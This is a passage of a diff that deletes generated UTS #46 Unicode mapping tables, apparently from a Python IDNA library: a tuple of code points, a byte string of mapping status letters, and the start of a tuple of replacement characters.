-        0x2F867,
-        0x2F868,
-        0x2F869,
-        0x2F86A,
-        0x2F86C,
-        0x2F86D,
-        0x2F86E,
-        0x2F86F,
-        0x2F870,
-        0x2F871,
-        0x2F872,
-        0x2F873,
-        0x2F874,
-        0x2F875,
-        0x2F876,
-        0x2F877,
-        0x2F878,
-        0x2F879,
-        0x2F87A,
-        0x2F87B,
-        0x2F87C,
-        0x2F87D,
-        0x2F87E,
-        0x2F87F,
-        0x2F880,
-        0x2F881,
-        0x2F882,
-        0x2F883,
-        0x2F884,
-        0x2F885,
-        0x2F886,
-        0x2F887,
-        0x2F888,
-        0x2F889,
-        0x2F88A,
-        0x2F88B,
-        0x2F88C,
-        0x2F88D,
-        0x2F88E,
-        0x2F88F,
-        0x2F890,
-        0x2F891,
-        0x2F893,
-        0x2F894,
-        0x2F896,
-        0x2F897,
-        0x2F898,
-        0x2F899,
-        0x2F89A,
-        0x2F89B,
-        0x2F89C,
-        0x2F89D,
-        0x2F89E,
-        0x2F89F,
-        0x2F8A0,
-        0x2F8A1,
-        0x2F8A2,
-        0x2F8A3,
-        0x2F8A4,
-        0x2F8A5,
-        0x2F8A6,
-        0x2F8A7,
-        0x2F8A8,
-        0x2F8A9,
-        0x2F8AA,
-        0x2F8AB,
-        0x2F8AC,
-        0x2F8AD,
-        0x2F8AE,
-        0x2F8AF,
-        0x2F8B0,
-        0x2F8B1,
-        0x2F8B2,
-        0x2F8B3,
-        0x2F8B4,
-        0x2F8B5,
-        0x2F8B6,
-        0x2F8B7,
-        0x2F8B8,
-        0x2F8B9,
-        0x2F8BA,
-        0x2F8BB,
-        0x2F8BC,
-        0x2F8BD,
-        0x2F8BE,
-        0x2F8BF,
-        0x2F8C0,
-        0x2F8C1,
-        0x2F8C2,
-        0x2F8C3,
-        0x2F8C4,
-        0x2F8C5,
-        0x2F8C6,
-        0x2F8C7,
-        0x2F8C8,
-        0x2F8C9,
-        0x2F8CA,
-        0x2F8CB,
-        0x2F8CC,
-        0x2F8CD,
-        0x2F8CE,
-        0x2F8CF,
-        0x2F8D0,
-        0x2F8D1,
-        0x2F8D2,
-        0x2F8D3,
-        0x2F8D4,
-        0x2F8D5,
-        0x2F8D6,
-        0x2F8D7,
-        0x2F8D8,
-        0x2F8D9,
-        0x2F8DA,
-        0x2F8DB,
-        0x2F8DC,
-        0x2F8DD,
-        0x2F8DE,
-        0x2F8DF,
-        0x2F8E0,
-        0x2F8E1,
-        0x2F8E2,
-        0x2F8E3,
-        0x2F8E4,
-        0x2F8E5,
-        0x2F8E6,
-        0x2F8E7,
-        0x2F8E8,
-        0x2F8E9,
-        0x2F8EA,
-        0x2F8EB,
-        0x2F8EC,
-        0x2F8ED,
-        0x2F8EE,
-        0x2F8EF,
-        0x2F8F0,
-        0x2F8F1,
-        0x2F8F2,
-        0x2F8F3,
-        0x2F8F4,
-        0x2F8F5,
-        0x2F8F6,
-        0x2F8F7,
-        0x2F8F8,
-        0x2F8F9,
-        0x2F8FA,
-        0x2F8FB,
-        0x2F8FC,
-        0x2F8FD,
-        0x2F8FE,
-        0x2F8FF,
-        0x2F900,
-        0x2F901,
-        0x2F902,
-        0x2F903,
-        0x2F904,
-        0x2F905,
-        0x2F906,
-        0x2F907,
-        0x2F908,
-        0x2F909,
-        0x2F90A,
-        0x2F90B,
-        0x2F90C,
-        0x2F90D,
-        0x2F90E,
-        0x2F90F,
-        0x2F910,
-        0x2F911,
-        0x2F912,
-        0x2F913,
-        0x2F914,
-        0x2F915,
-        0x2F916,
-        0x2F917,
-        0x2F918,
-        0x2F919,
-        0x2F91A,
-        0x2F91B,
-        0x2F91C,
-        0x2F91D,
-        0x2F91E,
-        0x2F91F,
-        0x2F920,
-        0x2F921,
-        0x2F922,
-        0x2F923,
-        0x2F924,
-        0x2F925,
-        0x2F926,
-        0x2F927,
-        0x2F928,
-        0x2F929,
-        0x2F92A,
-        0x2F92B,
-        0x2F92C,
-        0x2F92E,
-        0x2F92F,
-        0x2F930,
-        0x2F931,
-        0x2F932,
-        0x2F933,
-        0x2F934,
-        0x2F935,
-        0x2F936,
-        0x2F937,
-        0x2F938,
-        0x2F939,
-        0x2F93A,
-        0x2F93B,
-        0x2F93C,
-        0x2F93D,
-        0x2F93E,
-        0x2F93F,
-        0x2F940,
-        0x2F941,
-        0x2F942,
-        0x2F943,
-        0x2F944,
-        0x2F945,
-        0x2F946,
-        0x2F948,
-        0x2F949,
-        0x2F94A,
-        0x2F94B,
-        0x2F94C,
-        0x2F94D,
-        0x2F94E,
-        0x2F94F,
-        0x2F950,
-        0x2F951,
-        0x2F952,
-        0x2F953,
-        0x2F954,
-        0x2F955,
-        0x2F956,
-        0x2F957,
-        0x2F958,
-        0x2F959,
-        0x2F95A,
-        0x2F95B,
-        0x2F95C,
-        0x2F95D,
-        0x2F95F,
-        0x2F960,
-        0x2F961,
-        0x2F962,
-        0x2F963,
-        0x2F964,
-        0x2F965,
-        0x2F966,
-        0x2F967,
-        0x2F968,
-        0x2F969,
-        0x2F96A,
-        0x2F96B,
-        0x2F96C,
-        0x2F96D,
-        0x2F96E,
-        0x2F96F,
-        0x2F970,
-        0x2F971,
-        0x2F972,
-        0x2F973,
-        0x2F974,
-        0x2F975,
-        0x2F976,
-        0x2F977,
-        0x2F978,
-        0x2F979,
-        0x2F97A,
-        0x2F97B,
-        0x2F97C,
-        0x2F97D,
-        0x2F97E,
-        0x2F97F,
-        0x2F980,
-        0x2F981,
-        0x2F982,
-        0x2F983,
-        0x2F984,
-        0x2F985,
-        0x2F986,
-        0x2F987,
-        0x2F988,
-        0x2F989,
-        0x2F98A,
-        0x2F98B,
-        0x2F98C,
-        0x2F98D,
-        0x2F98E,
-        0x2F98F,
-        0x2F990,
-        0x2F991,
-        0x2F992,
-        0x2F993,
-        0x2F994,
-        0x2F995,
-        0x2F996,
-        0x2F997,
-        0x2F998,
-        0x2F999,
-        0x2F99A,
-        0x2F99B,
-        0x2F99C,
-        0x2F99D,
-        0x2F99E,
-        0x2F99F,
-        0x2F9A0,
-        0x2F9A1,
-        0x2F9A2,
-        0x2F9A3,
-        0x2F9A4,
-        0x2F9A5,
-        0x2F9A6,
-        0x2F9A7,
-        0x2F9A8,
-        0x2F9A9,
-        0x2F9AA,
-        0x2F9AB,
-        0x2F9AC,
-        0x2F9AD,
-        0x2F9AE,
-        0x2F9AF,
-        0x2F9B0,
-        0x2F9B1,
-        0x2F9B2,
-        0x2F9B3,
-        0x2F9B4,
-        0x2F9B5,
-        0x2F9B6,
-        0x2F9B7,
-        0x2F9B8,
-        0x2F9B9,
-        0x2F9BA,
-        0x2F9BB,
-        0x2F9BC,
-        0x2F9BD,
-        0x2F9BE,
-        0x2F9BF,
-        0x2F9C0,
-        0x2F9C1,
-        0x2F9C2,
-        0x2F9C3,
-        0x2F9C4,
-        0x2F9C5,
-        0x2F9C6,
-        0x2F9C7,
-        0x2F9C8,
-        0x2F9C9,
-        0x2F9CA,
-        0x2F9CB,
-        0x2F9CC,
-        0x2F9CD,
-        0x2F9CE,
-        0x2F9CF,
-        0x2F9D0,
-        0x2F9D1,
-        0x2F9D2,
-        0x2F9D3,
-        0x2F9D4,
-        0x2F9D5,
-        0x2F9D6,
-        0x2F9D7,
-        0x2F9D8,
-        0x2F9D9,
-        0x2F9DA,
-        0x2F9DB,
-        0x2F9DC,
-        0x2F9DD,
-        0x2F9DE,
-        0x2F9DF,
-        0x2F9E0,
-        0x2F9E1,
-        0x2F9E2,
-        0x2F9E3,
-        0x2F9E4,
-        0x2F9E5,
-        0x2F9E6,
-        0x2F9E7,
-        0x2F9E8,
-        0x2F9E9,
-        0x2F9EA,
-        0x2F9EB,
-        0x2F9EC,
-        0x2F9ED,
-        0x2F9EE,
-        0x2F9EF,
-        0x2F9F0,
-        0x2F9F1,
-        0x2F9F2,
-        0x2F9F3,
-        0x2F9F4,
-        0x2F9F5,
-        0x2F9F6,
-        0x2F9F7,
-        0x2F9F8,
-        0x2F9F9,
-        0x2F9FA,
-        0x2F9FB,
-        0x2F9FC,
-        0x2F9FD,
-        0x2F9FE,
-        0x2FA00,
-        0x2FA01,
-        0x2FA02,
-        0x2FA03,
-        0x2FA04,
-        0x2FA05,
-        0x2FA06,
-        0x2FA07,
-        0x2FA08,
-        0x2FA09,
-        0x2FA0A,
-        0x2FA0B,
-        0x2FA0C,
-        0x2FA0D,
-        0x2FA0E,
-        0x2FA0F,
-        0x2FA10,
-        0x2FA11,
-        0x2FA12,
-        0x2FA13,
-        0x2FA14,
-        0x2FA15,
-        0x2FA16,
-        0x2FA17,
-        0x2FA18,
-        0x2FA19,
-        0x2FA1A,
-        0x2FA1B,
-        0x2FA1C,
-        0x2FA1D,
-        0x2FA1E,
-        0x30000,
-        0x3134B,
-        0x31350,
-        0x3347A,
-        0xE0100,
-        0xE01F0,
-    ),
-)
-
-uts46_statuses: bytes = (
-    b"VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV"
-    b"VMMMMMMMMMMMMMMMMMMMMMMMMMMVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV"
-    b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXMVVVVVVVMVMVVIVMVVMMMMVVMMMVMMMV"
-    b"MMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMDVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV"
-    b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMVMVMVMVMMV"
-    b"MVMVMVMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMVMVMVMM"
-    b"VMVMMVMMMVMMMMVMMVMMMVMMVMMVMVMVMMVMVMVMMVMMMVMVMMVMVMMMMVMVMVMV"
-    b"MVMVMVMVMVMVMVMVMVMVMVMVMVMMVMMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVM"
-    b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMMVMVMMMMVMVMVMVMVMMMMMMMMMVMMMMMM"
-    b"VMMMMMVMMVMMMVIVMVMVMVMVXMVMMXMMMMMMMXMXMMVMMMMMMMMMMMMMMMMMXMMM"
-    b"MMMMMMVDVMMMMMMMMVMVMVMVMVMVMVMVMVMVMVMVMVMMMVMMVMVMMVMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMVMVMVMVMVMVMVMVMVMV"
-    b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV"
-    b"MVMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVM"
-    b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVXMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMXVMVXVXVXVXVXVXVMMMMVXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVMMMMMMMMVXVXVXVXVXVXVXVXVXVXVXMMXMVXVXVXVXVXVXVXVMXVMXVXVXV"
-    b"XVXVXVXMMMVXMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXV"
-    b"XVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXV"
-    b"XVMVXVXVXVXVXVXVXVMVXVXVXVXVXMMVXVMVMVXVMVMVMVMVMVXVMVMMMMMVMVMV"
-    b"XVMVMVMVMVMVXVXVXVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMXMXVMV"
-    b"IVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXMMMMMMXVXVXVXVXVXVXVXVXVX"
-    b"VIVXVXVXVIVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVMMM"
-    b"MMMMMMVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMVXVXVMMMV"
-    b"MMMMMMMMMMMVMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV"
-    b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV"
-    b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMVM"
-    b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVM"
-    b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMMMMMMMVXMMMMMMXVMMMMMMMMVMMMMMM"
-    b"MMVXMMMMMMXVXMXMXMXMVMMMMMMMMVMVMVMVMVMVMVMXMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMXVMMMMMMMMMMMMMMXVMMMMMMMMMVMXVM"
-    b"MMMXMMMVMVMMMMMMMMXMMMXVMMMMMMMMXMIDXVMVMVXVXMVMMVMMVMVMVMMMVMVM"
-    b"IXIMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMXVMVXVXMMMMVMMMVM"
-    b"MMMMMVMMVMMMVMMMVMVMVMVMMMMVMMMMMMMMMMVMMMMMVMMMMVMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMVXVMMVMMVMMVXVXMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMMMVMVXVMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMMMVMVMVMVMMMMVMVMVMM"
-    b"MMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV"
-    b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVXVXVXVXVXMVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVMVMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMVMVMVMMMVXVXVMMVMVMXV"
-    b"XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMIMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXVMMMMMMMMMMMMMMVXVMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMXMMMMMMMMMMMMM"
-    b"MMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXMVMVMVMVMVMVMVM"
-    b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVXV"
-    b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV"
-    b"MVMVMVMVMVMVMVMVMVMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMMMMVM"
-    b"MMMMVMVMVMVMVMVMVMVMMMMVMVMMVMVMVMVMVMVMVMVMXMMMMMVMMVXVXVXVXVXV"
-    b"XVXVXVXVXVXVXVXVXVXVXVXVXVXVXVMMMMVMVXMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVXVX"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMVMVMVMMMMMMMMMMVMVMVMMVMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMXMMMMMMXMMMMMXMVMMMMMMMMMMMMMMMMMMMMMMMMXMMMMM"
-    b"XMXMMXMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXMMMMMMMMMMMMMVIMMXMMM"
-    b"MMMXVXMMMMMMMMMMMMMMMMMMMVMMMMMMXMMMMMMMMMMMMMMMMMMMXMMMMXMMMVMX"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXIXMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMIMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMXMMMMM"
-    b"MXMMMMMMXMMMXMMMMMMMXMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXV"
-    b"XVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVMMMMMMMMMMMXMMMMMMMMMMMMMMMXMMM"
-    b"MMMMXMMXVXVXVXVXVXVXVXVXVMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMXMMMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMXVXVXVXVMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMVXMMMMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVXVXVIXVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVX"
-    b"VXVXVXVXVXVXVMMMMMMMVIVMMMMMMVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMXMMXMXMMXMMMMXMMMMMMMMMMMMXMXMMMMMMMXMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMXMMMMMMMMXMMMMM"
-    b"MMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMXMMMMMXMXMMMMMMMXMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXVXVX"
-    b"VXVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVX"
-    b"VXMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMXMXMXMMMMMMMMMMXMMMMXMXMXMX"
-    b"MXMXMXMMMXMMXMXMXMXMXMXMXMMXMXMMMMXMMMMMMMXMMMMXMMMMXMXMMMMMMMMM"
-    b"MXMMMMMMMMMMMMMMMMMXMMMXMMMMMXMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXMM"
-    b"MMMMMMMMVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMVMMMVMVXVMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMXMMMMMMMMMXMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX"
-    b"VXVMMMMMMMMMMVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
-    b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXVXVXIX"
-)
-
-uts46_replacements: tuple[Optional[str], ...] = (
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    " ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    " ̈",
-    None,
-    "a",
-    None,
-    None,
-    None,
-    None,
-    " ̄",
-    None,
-    None,
-    "2",
-    "3",
-    " ́",
-    "μ",
-    None,
-    None,
-    " ̧",
-    "1",
-    "o",
-    None,
-    "1⁄4",
-    "1⁄2",
-    "3⁄4",
-    None,
-    "à",
-    "á",
-    "â",
-    "ã",
-    "ä",
-    "å",
-    "æ",
-    "ç",
-    "è",
-    "é",
-    "ê",
-    "ë",
-    "ì",
-    "í",
-    "î",
-    "ï",
-    "ð",
-    "ñ",
-    "ò",
-    "ó",
-    "ô",
-    "õ",
-    "ö",
-    None,
-    "ø",
-    "ù",
-    "ú",
-    "û",
-    "ü",
-    "ý",
-    "þ",
-    "ss",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
